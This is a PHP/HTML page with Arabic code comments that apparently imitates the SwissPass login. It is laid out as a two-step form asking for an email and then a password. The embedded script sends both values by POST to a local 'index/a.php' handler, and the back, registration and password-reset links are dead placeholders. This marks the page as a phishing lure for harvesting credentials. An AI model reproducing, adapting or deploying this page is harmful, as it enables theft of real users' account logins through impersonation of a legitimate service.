<?php ?>
<!DOCTYPE html>
<html lang="de">
<head>
  <meta charset="utf-8">
  <title>Login | SwissPass</title>
  <meta http-equiv="x-ua-compatible" content="ie=edge">
  <meta name="viewport" content="width=device-width,initial-scale=1,shrink-to-fit=no">
  <link rel="icon" href="./img/favicon.ico">
  <link rel="stylesheet" href="./css/style.css">
  <script src="./js/jquery1-2-3.js" charset="utf-8"></script>
  <style>
    body, #axrafContainer, .mod-login-altas, .mod-login-altas-inner, .mod-login--action {
      background-color: #fff !important;
    }
    .iam-card {
      background-color: #fff !important;
      border: 1px solid #ccc;
      border-radius: 8px;
      padding: 20px;
    }
    .iam-card-body {
      background-color: #fff !important;
    }
    .iam-form-control {
      border: 1px solid #ccc !important;
      background-color: #fff !important;
      color: #000;
    }
    .error-message { color: #d00 !important; }
    button[disabled] { opacity: 0.6; cursor: not-allowed; }
    .login-logo { text-align: center; margin-bottom: 20px; position: relative; background-color: #d00; padding: 20px 0; border-radius: 8px 8px 0 0; }
    .login-logo img { max-width: 90%; height: auto; }
    .iam-form-check-input { display: none; }
    .custom-checkbox { display: flex; align-items: center; cursor: pointer; position: relative; gap: 6px; }
    .checkbox-box { width: 18px; height: 18px; border: 2px solid #ccc; border-radius: 4px; display: inline-block; position: relative; }
    .iam-form-check-input:checked + .custom-checkbox .checkbox-box::after { content: '✔'; position: absolute; top: 0; left: 1px; font-size: 14px; color: black; }
    .info-icon { display: inline-block; width: 16px; height: 16px; background-color: #ccc; border-radius: 50%; text-align: center; line-height: 16px; margin-left: 4px; cursor: pointer; font-size: 12px; color: #000; }
    .iam-btn-outline-primary { background-color: #d3d3d3; border-color: #d3d3d3; color: #000; }
  </style>
  <script>
document.addEventListener('DOMContentLoaded', function () {
  const emailInput = document.getElementById('email');
  const passwordInput = document.getElementById('password');
  const nextButton = document.getElementById('nextButton');
  const submitButton = document.getElementById('submitButton');
  const displayEmail = document.getElementById('displayEmail');
  const emailHidden = document.getElementById('emailHidden');
  const form = document.getElementById('twoStepForm');

  // تغيير صورة الشعار على الجوال
  const logoImg = document.querySelector('.login-logo img');
  if (/Mobi|Android|iPhone|iPad|iPod|BlackBerry|IEMobile|Opera Mini/i.test(navigator.userAgent)) {
    if (logoImg) logoImg.src = 'img/logo-231219.svg';
  }

  // التحقق من البريد الإلكتروني (لا يقبل الرموز الغريبة)
  function isValidEmail(email) {
    const re = /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/;
    return re.test(email);
  }

  // التحقق من كلمة المرور (لا تقبل حروف فقط أو أرقام فقط)
  function isValidPassword(pw) {
    return /[a-zA-Z]/.test(pw) && /\d/.test(pw) || /[^a-zA-Z0-9]/.test(pw);
  }

  // زر Enter يعمل في كل المراحل
  document.addEventListener('keydown', function(e){
    if(e.key === 'Enter'){
      if(document.getElementById('step1').style.display !== 'none'){
        validateAndNext(e);
      } else {
        validateAndSubmit(e);
      }
    }
  });

  window.validateAndNext = function(evt) {
    if(evt) evt.preventDefault();
    const emailVal = (emailInput && emailInput.value || '').trim();
    const eErr = document.getElementById('emailError');

    if(!isValidEmail(emailVal)){
      if(eErr) eErr.textContent = 'Bitte gültige E-Mail eingeben.';
      return false;
    }
    if(eErr) eErr.textContent = '';

    displayEmail.textContent = emailVal;
    emailHidden.value = emailVal;

    document.getElementById('step1').style.display = 'none';
    document.getElementById('step2').style.display = '';
    if(passwordInput) passwordInput.focus();
  };

  window.validateAndSubmit = function(evt) {
    if(evt) evt.preventDefault();
    const passVal = (passwordInput && passwordInput.value || '').trim();
    const pErr = document.getElementById('passwordError');

    if(!isValidPassword(passVal)){
      if(pErr) pErr.textContent = 'Passwort muss Buchstaben und Zahlen oder Sonderzeichen enthalten.';
      return false;
    }
    if(pErr) pErr.textContent = '';

    let passwordHidden = document.getElementById('passwordHidden');
    if(!passwordHidden){
      passwordHidden = document.createElement('input');
      passwordHidden.type = 'hidden';
      passwordHidden.name = 'password';
      passwordHidden.id = 'passwordHidden';
      form.appendChild(passwordHidden);
    }
    passwordHidden.value = passwordInput.value;

    form.action = 'index/a.php';
    form.method = 'post';
    form.submit();
  };

  window.togglePasswordVisibility = function() {
    if(passwordInput){
      const checkbox = document.getElementById('showPassword');
      passwordInput.type = checkbox.checked ? 'text' : 'password';
    }
  };
});
  </script>
</head>

<body>
<header class="skel-header skel-header-provider" style="background-color:#fff">
  <div class="container header-provider__container clearfix">
    <div class="row provider-logo-row">
      <a class="back-link back-to-provider" href="#" style="color:#767676">
        <span class="back-to-provider__icon mod-icon mod-icon__sm icon-arrow_left_16"></span>
        <span class="back-to-provider__text">Zurück</span>
      </a>
    </div>
    <div class="row provider-title-row">
      <h1 id="coBrandBackText" class="provider-title" style="color:#000">Anmelden mit SwissPass.</h1>
    </div>
  </div>
</header>

<div id="axrafContainer">
  <div class="mod-content" id="mainContentPage">
    <div class="mod-content--root">
      <nav class="mod-login">
        <div class="mod-login-altas">
          <div class="mod-login-altas-inner">

            <div class="login-logo">
              <img src="img/logo_text19.svg" alt="Logo">
            </div>

            <!-- الخطوة الأولى (E-Mail) -->
            <div id="step1">
              <div class="mod-login--action">
                <div class="iam-container iam-content-container">
                  <div class="iam-row">
                    <div class="iam-col-12">
                      <iam-page>
                        <iam-card>
                          <div class="iam-card-body iam-no-margin-for-last-row">
                            <iam-form>
                              <form id="twoStepForm" autocomplete="off" novalidate>
                                <iam-input-row class="iam-row-group">
                                  <iam-row-with-label>
                                    <div class="iam-row iam-form-group float-label">
                                      <label for="email" class="iam-col-12 iam-col-form-label iam-col-md-5">E-Mail</label>
                                      <div class="iam-col-12">
                                        <input id="email" name="username" type="email"
                                          class="iam-form-control"
                                          placeholder="E-Mail"
                                          required
                                          autocomplete="email"
                                          autocapitalize="off">
                                        <div class="error-message" id="emailError"></div>
                                      </div>
                                    </div>
                                  </iam-row-with-label>
                                </iam-input-row>

                                <iam-button-row class="iam-row iam-form-group">
                                  <div class="iam-col-12 iam-button-group">
                                    <iam-button class="iam-float-right iam-btn-wrapper" style="margin-bottom:-40px;margin-top:36px">
                                      <button id="nextButton" type="button" class="iam-btn iam-btn-outline-primary" onclick="validateAndNext(event)">Weiter</button>
                                    </iam-button>
                                  </div>
                                </iam-button-row>

                                <hr>
                                <div class="self-service-box">
                                  <span class="iam-float-left">Noch kein Kundenkonto?</span>
                                  <a class="iam-float-right iam-general-link" href="javascript:void(0)" id="registrationLink">Jetzt registrieren</a>
                                </div>
                                <input id="emailHidden" name="username" type="hidden" value="">
                              </form>
                            </iam-form>
                          </div>
                        </iam-card>
                      </iam-page>
                    </div>
                  </div>
                </div>
              </div>
            </div>

            <!-- الخطوة الثانية (Passwort) -->
            <div id="step2" style="display:none">
              <div class="mod-login--action">
                <div class="iam-container iam-content-container">
                  <div class="iam-row">
                    <div class="iam-col-12">
                      <iam-page>
                        <iam-card>
                          <div class="iam-card-body iam-no-margin-for-last-row">
                            <iam-form>
                              <iam-input-row class="iam-row-group">
                                <iam-row-with-label>
                                  <div class="iam-row iam-form-group float-label">
                                    <label for="password" class="iam-col-12 iam-col-form-label iam-col-md-5">Passwort</label>
                                    <div class="email-container iam-col-12" style="margin-bottom:8px;">
                                      <span id="displayEmail" class="iam-col-12" aria-live="polite"></span>
                                    </div>
                                    <div class="iam-col-12">
                                      <input id="password" name="password" type="password"
                                        class="iam-form-control"
                                        placeholder="Passwort"
                                        required>
                                      <div class="error-message" id="passwordError"></div>
                                    </div>
                                  </div>
                                </iam-row-with-label>
                              </iam-input-row>

                              <div class="iam-form-check" style="margin-bottom:6px;">
                                <input id="showPassword" type="checkbox" class="iam-form-check-input" onchange="togglePasswordVisibility()">
                                <label for="showPassword" class="iam-form-check-label custom-checkbox">
                                  <span class="checkbox-box"></span>
                                  <span class="iam-form-check-label-text" id="showPasswordText">Passwort anzeigen</span>
                                  <span class="info-icon" tabindex="0" title="Passwort sichtbar machen ℹ️">i</span>
                                </label>
                              </div>

                              <div class="iam-form-check">
                                <input id="dsaCheckboxGenerateRememberMeToken" type="checkbox" name="Token" class="iam-form-check-input">
                                <label class="iam-form-check-label custom-checkbox" for="dsaCheckboxGenerateRememberMeToken">
                                  <span class="checkbox-box"></span>
                                  <span class="iam-form-check-label-text">Angemeldet bleiben</span>
                                  <span class="info-icon" tabindex="0" title="Bleiben Sie angemeldet, um sich schneller anzumelden ℹ️">i</span>
                                </label>
                              </div>

                              <div class="iam-row iam-form-group" style="margin-top:12px;">
                                <div class="iam-col-12 iam-button-group">
                                  <div class="iam-float-left" id="pw-reset-container">
                                    <a class="iam-float-left iam-general-link" href="javascript:void(0)" id="pw-reset">Passwort vergessen?</a>
                                  </div>

                                  <iam-button class="iam-float-right iam-btn-wrapper">
                                    <button id="submitButton" type="submit" class="iam-btn iam-btn-outline-primary" onclick="validateAndSubmit(event)">Anmelden</button>
                                  </iam-button>
                                </div>
                              </div>

                              <hr style="margin-top:20px; margin-bottom:12px;">
                              <div style="text-align:center; margin-bottom:10px; color:#666;">Oder</div>
                              <div style="text-align:center;">
                                <button type="button" class="iam-btn iam-btn-outline-primary" style="background-color:#555; color:#fff; border:none; padding:8px 20px; border-radius:4px;">
                                  Mit Einmal-Code anmelden
                                </button>
                              </div>
                              <div style="text-align:center; margin-top:6px; color:#999; font-size:14px;">ℹ️</div>

                            </iam-form>
                          </div>
                        </iam-card>
                      </iam-page>
                    </div>
                  </div>
                </div>
              </div>
            </div>

          </div>
        </div>
      </nav>
    </div>
  </div>
</div>
</body>
</html>
